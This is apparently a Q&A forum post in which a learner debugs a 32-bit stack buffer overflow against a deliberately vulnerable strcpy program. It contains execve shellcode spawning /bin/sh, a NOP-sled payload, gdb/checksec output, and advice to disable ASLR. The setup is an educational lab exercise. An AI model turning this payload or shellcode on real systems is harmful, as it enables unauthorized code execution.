1

I've been going at this for a couple of days now working through trial and error but I can't seem to pinpoint exactly why I'm still getting a SIGSEGV.

Here's the stdout of me stepping through the stack buffer overflow with gdb/gef: https://hastebin.com/hunekowasi.bash

The source for the c bin i'm executing is:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buf[256];

    if (argc < 2) {
        fprintf(stderr, "ERROR: argc < 2");
        return 1;
    }

    strcpy(buf, argv[1]);
    return 0;
}

I compile it with:

gcc -g -Wall -fno-stack-protector -m32 -I. main.c -o overflow

The machine im using has an 64 bit intel processor (little-endian), and I'm executing the ./overflow bin with this command:

gdb -q --args ./overflow $(perl -e 'print "\x90" x 236 . "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80" . "\xe8\x9c\xff\xff"')

The char array im trying to overflow is 256 bytes (appears to be 260 bytes i believe).

0x080484ab <+69>: lea eax,[ebp-0x108]

This is verified when I intentionally try to segfault:

th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡ 
⇒  ./overflow $(perl -e "print 'A' x 256")
th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master⚡ 
⇒  ./overflow $(perl -e "print 'A' x 260")
[1]    18410 segmentation fault (core dumped)  ./overflow $(perl -e "print 'A' x 260")

After verifying the segfault occurs at 260, I create my payload:

  • NOP sled = 236 bytes
  • shellcode = 24 bytes

I calculate for the jump by taking the beginning address of the buffer and adding 50 to it: 0xffff9cc0 + 50 giving 0xffff9c8e which I reverse since I'm on a little-endian system and that ends up being: \x8e\x9c\xff\xff.

The shellcode im using is the same shellcode i use in this source to verify it works on my system:

#include <stdio.h>
#include <string.h>

char shellcode[] = {
    "\x6a\x0b"                      /* push   0xb */
    "\x58"                          /* pop    eax */
    "\x31\xf6"                      /* xor    esi,esi */
    "\x56"                          /* push   esi */
    "\x68\x2f\x2f\x73\x68"          /* push   0x68732f2f */
    "\x68\x2f\x62\x69\x6e"          /* push   0x6e69622f */
    "\x89\xe3"                      /* mov    ebx,esp */
    "\x31\xc9"                      /* xor    ecx,ecx */
    "\x89\xca"                      /* mov    edx,ecx */
    "\xcd\x80"                      /* int    0x80 */
};

int main()
{
    printf("Shellcode Length:  %d\n", (int)strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
    ret();
    return 0;
}

Though.. When i execute the bin passing it the crafted string, i get a SIGSEGV error. I've played around with it quite a bit and can't seem to get it to work. I feel like im missing something small. You can see the output from gdb in the hastebin link i provided above.

edit - Adding some additional info that may be helpful.

@gef➤  checksec
[+] checksec for '/home/th3v0id/repos/bufferoverflows/stack/01/overflow'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial

@gef➤  disassemble main
Dump of assembler code for function main:
=> 0x08048466 <+0>: lea    ecx,[esp+0x4]
   0x0804846a <+4>: and    esp,0xfffffff0
   0x0804846d <+7>: push   DWORD PTR [ecx-0x4]
   0x08048470 <+10>:    push   ebp
   0x08048471 <+11>:    mov    ebp,esp
   0x08048473 <+13>:    push   ecx
   0x08048474 <+14>:    sub    esp,0x104
   0x0804847a <+20>:    mov    eax,ecx
   0x0804847c <+22>:    cmp    DWORD PTR [eax],0x1
   0x0804847f <+25>:    jg     0x804849f <main+57>
   0x08048481 <+27>:    mov    eax,ds:0x804a020
   0x08048486 <+32>:    push   eax
   0x08048487 <+33>:    push   0xf
   0x08048489 <+35>:    push   0x1
   0x0804848b <+37>:    push   0x8048554
   0x08048490 <+42>:    call   0x8048330 <fwrite@plt>
   0x08048495 <+47>:    add    esp,0x10
   0x08048498 <+50>:    mov    eax,0x1
   0x0804849d <+55>:    jmp    0x80484bf <main+89>
   0x0804849f <+57>:    mov    eax,DWORD PTR [eax+0x4]
   0x080484a2 <+60>:    add    eax,0x4
   0x080484a5 <+63>:    mov    eax,DWORD PTR [eax]
   0x080484a7 <+65>:    sub    esp,0x8
   0x080484aa <+68>:    push   eax
   0x080484ab <+69>:    lea    eax,[ebp-0x108]
   0x080484b1 <+75>:    push   eax
   0x080484b2 <+76>:    call   0x8048340 <strcpy@plt>
   0x080484b7 <+81>:    add    esp,0x10
   0x080484ba <+84>:    mov    eax,0x0
   0x080484bf <+89>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x080484c2 <+92>:    leave  
   0x080484c3 <+93>:    lea    esp,[ecx-0x4]
   0x080484c6 <+96>:    ret    
End of assembler dump.
2
  • 1
    What about ASLR? I'd advise against returning to stack addresses as they vary even with slight change in environment. look for useful "gadgets". – sudhackar Dec 18 '17 at 3:53
  • Thanks @sudhackar Your comment helped me figure out the issue, it was aslr. At first I didn't think that was the issue because in gef when i checked aslr previously, it reported as disabled (maybe it disables aslr by default? - need to dig into this more). Anyways, cat /proc/sys/kernel/randomize_va_space output 2. set kernel.randomize_va_space = 0 in /etc/sysctl.cnf, did a reboot, and now it works when i run it outside of gef. – th3v0id Dec 19 '17 at 23:53

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.